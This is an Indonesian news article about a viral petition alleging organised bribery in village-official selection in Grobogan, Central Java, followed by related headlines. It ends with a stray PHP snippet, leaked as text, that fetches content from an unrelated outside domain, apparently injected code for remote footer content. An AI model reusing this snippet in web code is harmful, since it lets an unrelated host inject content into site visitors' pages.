Viralnya Petisi Chambali, Polisi Harus Sigap Menindaklanjuti Dugaan Pungli Berjamaah di Grobogan

Senin, 14 Juni 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Grobogan l Jejakkasus.info – Preman dengan pelaku Pungutan Liar (Pungli) ataupun jual beli jabatan dalam pelaksanaan seleksi perangkat desa di Kabupaten Grobogan, Provinsi Jawa Tengah (Jateng), pada Senin, 7 Juni 2021 lalu, tak ada bedanya.

Kapolri Jenderal Listyo Sigit Prabowo menginstruksikan seluruh Polda dan Polres jajaran, untuk memberantas setiap aksi premanisme yang meresahkan masyarakat.

Tak hanya itu, Sigit menyebut telah memberikan instruksi langsung kepada Kabareskrim Polri Komjen Agus Andrianto dan seluruh Kapolda, untuk tidak memberikan ruang sedikitpun bagi oknum-oknum masyarakat yang melakukan aksi premanisme, Kamis 10 Juni 2021 lalu.

Viralnya Petisi Chambali yang mendapat ribuan dukungan, mestinya menjadi acuan aparatur penegak hukum, khususnya Polda Jateng dan Polres Grobogan, untuk menindaklanjuti  dan mengungkap kebenaran beredarnya petisi tersebut.

Baca Juga:  Modus Matikan Lampu Ruangan Lewati Batas Jam Operasional , Diduga Karoke Thanos Abaikan Peraturan Batas Jam Hiburan Malam

Di mana di dalam petisi itu, ada pernyataan, bahwa proses seleksi perangkat desa di Kabupaten Grobogan, sudah sangat terang benderang terjadi kecurangan yang masif dan terorganisir.

Calon perangkat desa yang terpilih adalah,  mereka yang bersedia membayar “mahar” sekitar Rp200 juta hingga Rp 300 juta,  kepada Kepala Desa (Kades).

Pembayaran uang itu terjadi sebelum dan sesudah proses seleksi.

Hal itu disampaikan oleh Ketua Harian LIDIK KRIMSUS RI yang sekaligus putra daerah  Grobogan M Rodhi Irfanto, SH di kediamannya, kepada wartawan media policewatch.news, Minggu (13/6/2021).

Baca Juga:  Polri Terus Kuatkan Sistem ETLE guna Hindari Pungli 

“Chambali saat saya konfirmasi melalui telepon dan chating WhatsApp (WA) 081215791XXX, Sabtu, 12 Juni 2021, pukul 21.30 WIB, mengaku memiliki bukti-bukti yang akurat, baik rekaman video pengakuan dan bukti-bukti pendukung lainnya,” ungkap Rodhi.

Rodhi berharap, kepolisian bisa sigap dalam menyikapi dugaan Pungli berjamaah yang terjadi di Kabupaten Grobogan, sesuai isi petisi yang dibuat oleh Chambali.

Terkait kebenaran dan pembuktiannya,  polisi bisa memanggil Chambali, untuk dimintai keterangan dan pembuktiannya.

Apabila itu benar, maka perbuatan para pelaku tak ada bedanya dengan preman.

“Mereka hanya memberi peluang kepada orang-orang yang mampu memberi mahar atau upeti dengan nilai ratusan juta, dan mencekal warga masyarakat yang tidak mampu memberi upeti atau mahar,” kata Rodhi.

Baca Juga:  Miris dan Menangis Melihat Kondisi Alam di Situbondo Akibat Tambang, Ini Kata H Lilur

Hal itu harus dilakukan untuk mengungkap kebenaran isi keterangan dalam Petisi Chambali.

Petisi itu, telah viral dan menjadi konsumsi publik.

“Jika memang Chambali bisa memberikan bukti-bukti atas apa yang ditulis dalam petisinya tersebut, maka polisi harus segera menangkap para pelaku Pungli ataupun jual beli jabatan dalam pelaksanaan seleksi perangkat desa di Kabupaten Grobogan,” tukas Rodhi.

Tapi jika sebaliknya lanjut Ridho, apabila Chambali tidak bisa membuktikan apa yang ditulis, maka polisi pun harus memproses Chambali sesuai hukum yang berlaku. (Limbad)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>